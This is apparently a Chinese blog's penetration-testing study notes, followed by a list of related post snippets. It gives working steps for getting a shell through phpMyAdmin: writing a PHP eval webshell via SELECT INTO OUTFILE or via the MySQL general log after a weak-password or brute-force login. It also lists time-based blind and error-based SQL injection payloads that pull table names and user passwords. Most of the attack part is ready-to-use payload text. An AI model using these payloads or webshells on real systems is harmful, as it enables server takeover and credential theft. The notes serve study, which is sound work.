phpmyadmin getshell方法
1,查看是否有导入导出设置 show global variables like '%secure-file-priv%';
2,如果secure-file-priv没设置为空或指定的文件夹可以利用,写入木马,select"<?php @eval($_POST[s]);?>" into outfile "var/www/html/xx.php"

利用日志文件getshell,mysql大于5.0版本会创建日志文件,并且创建日志文件为全局变量,且可以读写的
常见的日志文件分为业务日志和系统日志,利用Phpmyadmin的日志文件去Getshell
1,通过弱口令或爆破方式登录phpmyadmin,执行sql语句select @@datadir; 得到数据库位置之后猜测源码存放的位置D:\phpstudy_pro\www下
2,查看日志状态,show variables like '%general%'
3,开启日志记录功能,并且修改记录的路径和文件名,set global general_log = 'on'
4,修改保存文件位置,set global general_log_file = 'd:/phpstudy_pro/www/log.php'
5,写入一句话select"<?php @eval($_POST[s]);?>"

基于时间的sql注入
使用特定的函数,让数据库去执行,在页面等待一定时间来查看当前页面中的注入情况

函数
sleep(),数据库暂停一段时间
benchmark(),可以测试某些特定操作的执行速度。参数1可以是需要执行的次数,参数2是表达式就是某些动作。表达式可以是任何的标量表达式,比如返回值是标量的子查询或者函数,比如benchmark(100,100*100)

操作步骤
1,找注入点,1' and sleep(3)%23
2,获取当前数据库长度,and if(ascii(substring(database(),1,1))=114,sleep(5),'bye'),只有正确了才会sleep
3,获取数据表,and if(ascii(substring((select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),1,1))=114,sleep(5),'bye'),只有正确了才会sleep,得到有价值的表,比如user
4,获取表的字段 ,and if(ascii(substring((select distinct column_name from information_schema.tables where table_schema=database() and table_name='users(需要转码16禁止)' limit 0,1),1,1))=114,sleep(5),'bye'),只有正确了才会sleep,得到有价值的表中字段,比如user,password
5,获取值表中内容,and if(ascii(substring((select distinct select concat(user,0x7e,password) from users limit 0,1),1,1))=114,sleep(5),'bye'),只有正确了才会sleep,得到表中内容
6,破解密码,扫描目录,登录后台

报错型sql注入
利用一些报错的函数构造Pyload,数据库执行之后会报错,将需要的数据带出来,达到攻击目的

报错函数
1,extractvalue(xml,value),extractvalue()函数也是MySQL 5.1以后推出的对xml文档数据进行查询和修改的xpath函数。
extractvalue()的xml参数随便设定一个数。利用extractvalue()获取数据的固定payload是:or extractvalue(1,concat('#',(select * from (select ....) a)))#
2,updatexml(参数1,参数2,参数3)函数,updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数。改变xml文档中符合条件的值,参数1为xml文档,参数2是xpath格式字符串,参数3是string格式的用来替换查找到符合条件的字符串
updatexml()获取数据的固定payload是:or updatexml(1,concat('#',(select * from (select ...) a)),0) #
extracvalue()和updatexml()报错函数,截取字符长度都限制了32位
3,floor()函数返回小于等于该值的最大整数,必需和conut() 计数,rand()产生0到1随机数,但是自己设置数的话会变长固定的, group by排序,等配合使用,只要可以达到相同目的的函数都可以使用
(select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b) where username='admin'

2019-9-9:渗透测试,基础学习,phpmyadmin getshell方法,基于时间的盲注,基于报错的注入,笔记的更多相关文章

  1. DVWA-基于布尔值的盲注与基于时间的盲注学习笔记

    DVWA-基于布尔值的盲注与基于时间的盲注学习笔记 基于布尔值的盲注 一.DVWA分析 将DVWA的级别设置为low 1.分析源码,可以看到对参数没有做任何过滤,但对sql语句查询的返回的结果做了改变 ...

  2. 渗透之路基础 -- SQL进阶(盲注和报错注入)

    SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...

  3. 零基础到精通Web渗透测试的学习路线

    小编相信很多新手都会遇到以下几个问题 1.零基础想学渗透怎么入手? 2.学习web渗透需要从哪里开始? 这让很多同学都处于迷茫状态而迟迟不下手,小编就在此贴给大家说一下web渗透的学习路线,希望对大家 ...

  4. 2019-10-29:渗透测试,基础学习,sqlmap文件读取,写入,dnslog盲注作用,mssql手工注入,笔记

    sqlmap参数--file-read,从数据库服务器中读取文件--file-write,--file-dest,把文件上传到数据库服务器中 dnslog平台的学习和它在盲注中的应用1,判断注入点2, ...

  5. WEB渗透测试基础工具

    代理查询网站:hidemyass(隐藏我的屁股) HTTrack:HTTrack是一个免费和易用的离线浏览工具(浏览器),它可以允许你下载整个WWW网站至本地目录,并且通过遍历网站目录获取HTML,图 ...

  6. 怎么规划一个零基础学习Unity3D的“方法”或者“流程”?

    具体出处:https://www.zhihu.com/question/35542990 我只是一个计算机相关专业毕业的,已经掌握了基础的C#并开发过.net的.目前突然心血来潮对unity3D有兴趣 ...

  7. 转载过来的参考内容---常规36个WEB渗透测试漏洞描述及修复方法----很详细

        常规WEB渗透测试漏洞描述及修复 --转自:http://www.51testing.com/html/92/n-3723692.html (1). Apache样例文件泄漏 漏洞描述 apa ...

  8. kali渗透测试基础

    一侦查 研究如何收集有关目标的情报,比如开发那些端口用来通信,托管在哪里,提供给客户的服务类型等. 交付内容应该包括需要攻击的所有目标资产清单,与那些资产关联的应用,使用的服务以及可能的资产所有者. ...

  9. kali黑客渗透测试基础环境准备

    1.apt-get install python-nmap 2.apt-get install python-setuptools 正在读取软件包列表... 完成 正在分析软件包的依赖关系树      ...

随机推荐

  1. C/C++语言误区void main( )

    很多人甚至市面上的一些书籍,都使用了void main( ) ,其实这是错误的.C/C++ 中从来没有定义过void main( ) .C++ 之父 Bjarne Stroustrup 在他的主页上的 ...

  2. django-ckedit

    (转载) 在django项目中使用django-ckeditor   安装django-ckeditor pip install django-ckeditor 安装Pillow Pillow是pyt ...

  3. Mac tensorflow mnist实例

    Mac tensorflow mnist实例 前期主要需要安装好tensorflow的环境,Mac 如果只涉及到CPU的版本,推荐使用pip3,傻瓜式安装,一行命令!代码使用python3. 在此附上 ...

  4. ulua、tolua原理解析

    在聊ulua.tolua之前,我们先来看看Unity热更新相关知识. 什么是热更新 举例来说: 游戏上线后,玩家下载第一个版本(70M左右或者更大),在运营的过程中,如果需要更换UI显示,或者修改游戏 ...

  5. 【java基础】接口是否能有实现类?

    接口是否能有实现方法 我的回答: 当然可以 java8以后就允许接口有实现方法: default修饰的方法 static修饰的方法 /** * 能用lambda的情况,接口里面只有一个未实现的方法 * ...

  6. 你还在用BeanUtils进行对象属性拷贝?

    在做业务的时候,为了隔离变化,我们会将DAO查询出来的DO和对前端提供的DTO隔离开来.大概90%的时候,它们的结构都是类似的:但是我们很不喜欢写很多冗长的b.setF1(a.getF1())这样的代 ...

  7. Mybaits 源码解析 (八)----- 全网最详细,没有之一:结果集 ResultSet 自动映射成实体类对象(上篇)

    上一篇文章我们已经将SQL发送到了数据库,并返回了ResultSet,接下来就是将结果集 ResultSet 自动映射成实体类对象.这样使用者就无需再手动操作结果集,并将数据填充到实体类对象中.这可大 ...

  8. 转:redis-cli 命令总结

    redis-cli常用命令,原文地址:https://maoxian.de/2015/08/1342.html Redis提供了丰富的命令(command)对数据库和各种数据类型进行操作,这些comm ...

  9. 使用position设置经典的网站前端结构

    能脱离文档流的设置: float:left/right position:absolute; 绝对定位 position:fixed; 固定定位 //搞清楚position的属性值的意思就容易明白 使 ...

  10. rpm 方式安装java

    1.rpm下载地址 http://www.oracle.com/technetwork/java/javase/downloads/index.html 2.如果有安装openjdk 则卸载 #### ...